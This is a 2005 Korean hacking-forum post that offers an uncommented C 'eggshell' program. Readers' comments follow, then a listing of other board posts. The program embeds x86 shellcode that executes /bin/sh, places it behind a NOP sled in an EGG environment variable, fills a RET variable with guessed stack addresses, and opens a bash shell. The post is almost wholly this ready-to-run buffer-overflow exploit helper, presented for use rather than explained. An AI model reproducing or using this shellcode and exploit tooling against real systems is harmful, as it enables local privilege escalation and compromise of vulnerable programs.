1577, 6/79 회원가입  로그인  
   은조
   에그쉘 쓸줄 모르시는분..-_-필독

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=310 [복사]


#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
   "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
   "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
   "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

  Hit : 10076     Date : 2005/09/28 06:57
[불법/스팸글로 신고하기]



    
은조 젠장-_- 보는사람이 없잖아 2005/09/29  
nsh009 자필로 쓰신건가요? 2005/10/01  
sorpyo 와아.. 2005/10/02  
blackcoder 컴파일해서 실행~ 2005/10/05  
Zero123 "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" 이게 뭐죠? 2005/10/05  
kamijyo 컴파일 오류 나는뎅;; 2005/10/08  
saiby32 이게 뭐져?? 쓸줄 모르는 사람 보라고 했는데 봐도 뭔지 모르겠씀!! 2005/10/12  
ivy7622 이건 코드잖아. 그냥 따라 하라는건가? 적어도 에그가 뭐라던가 하는 정도는 써줄수는 없나. 주석 한줄 없는 이런 소스가 정말 쓸줄 모르는 사람한테 도움이 될성 싶지는 않다. 2006/01/14  
blackdong 프로그램짜본사람 맞는지요 주석이 필수일텐데...설명좀 해주심 안될려나.. 2006/01/24  
1477   초보가 적어본 윈도우 침투[6]     awsedr45
12/06 11813
1476   간단한 IP에 대해서.[7]     장세만
07/12 8604
1475   요즘 공부하고 있는 JAVA에 대한 질문과 답변[3]     장세만
07/14 7047
1474   중국발 해커에 대하여 안철수 연구소 펌[3]     장세만
07/14 9011
1473   ping아는 카페 해킹 고수님에게 들은 소리입니다[21]     장세만
07/14 11546
1472   CMD 용어[8]     지금
12/24 6524
1471   고등학교 만화 [오토핑기반] 해쿨접속기?[5]     최선호
12/07 7505
1470   해킹과 정보수집[9]     정상을향해서
05/13 7607
  에그쉘 쓸줄 모르시는분..-_-필독[9]     은조
09/28 10075
1468 비밀글입니다  감을못잡겠네요ㅜㅜ     잉잉잉
01/15 2
1467   아이폰이나 안드로이드는 어떤 방식으로 해킹이 이루어지는건가요?[4]     츠키코
10/14 7089
1466   레벨을 올려서 세미나 등등에 참여하고 싶은데요[3]     babuemf
07/30 5528
1465   [펌]Ettercap[3]     babyalpha
08/09 8190
1464   자신의 컴퓨터가 해킹당하고있는지 알아보자..!![24]     baekwanghee
08/03 31961
1463   데프콘시스강좌 01[4]     bbbb
03/28 6179
1462   데프콘시스 강좌 02     bbbb
03/28 5988
1461   데프콘시스강좌 03     bbbb
03/28 5511
1460   프로그래밍 YOUTUBE 동영상 강의 [3]     benkim
11/11 7848
1459   셧다운 프로그램 (제가 만들었습니다 ㅋㅋㅋ)[9]     benkim
04/16 7940
1458   80번 포트 연결     benkim
04/16 6677
[1][2][3][4][5] 6 [7][8][9][10]..[79]

Copyright 1999-2022 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com